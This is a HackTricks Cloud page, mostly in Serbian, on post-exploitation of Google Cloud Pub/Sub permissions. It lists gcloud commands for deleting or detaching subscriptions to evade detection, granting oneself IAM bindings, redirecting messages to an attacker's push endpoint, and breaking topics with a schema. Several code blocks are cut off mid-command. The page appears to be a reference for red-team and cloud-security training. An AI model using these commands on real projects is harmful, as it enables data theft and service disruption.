GCP - Pub/Sub Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pub/Sub
Za više informacija o Pub/Sub proverite sledeću stranicu:
pubsub.topics.publish
Objavljivanje poruke u topic, korisno za slanje neočekivanih podataka i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
Objavi poruku u topic
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Koristan za sprečavanje da subscription prima poruke — može se koristiti za izbegavanje detekcije.
Detach subscription from topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Korisno za sprečavanje da subscription prima poruke, možda kako bi se izbegla detekcija.
Moguće je izbrisati topic čak i kada su subscriptions prikačene na njega.
Obriši topic
```bash gcloud pubsub topics deletepubsub.topics.update
Iskoristite ovu dozvolu da izmenite neka podešavanja teme i ometate je, kao što su --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Dodelite sebi dozvolu da izvršite bilo koju od prethodnih attacks.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Preuzmite sve poruke na web serveru:
Kreirajte push subscription da biste primali poruke
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createKreirajte subscription i koristite ga za pull messages:
Kreirajte pull subscription i preuzmite poruke
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nešto slično:
<details>
<summary>Brisanje subscription-a</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Koristite ovu dozvolu da ažurirate neko podešavanje tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) ili samo da ga ometate.
Endpoint za ažuriranje subscription-a
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Dodeli sebi dozvole potrebne za izvođenje bilo koje od prethodno pomenutih napada.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Napadni šemu na topic tako da poruke ne zadovolje šemu i zato topic bude onemogućen.
Ako nema šema, možda će biti potrebno da kreiraš jednu.
Kreiraj fajl sa šemom i prikači ga na topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Može izgledati da brisanjem šeme možete slati poruke koje ne odgovaraju šemi. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je BESMISLENO:
Obriši šemu (nije korisno)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih napada.
pubsub.snapshots.create, pubsub.snapshots.seek
Ovo će kreirati snapshot svih unACKed poruka i vratiti ih u subscription. Nije naročito korisno za napadača, ali evo:
Kreiraj snapshot i seek-uj na njega
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

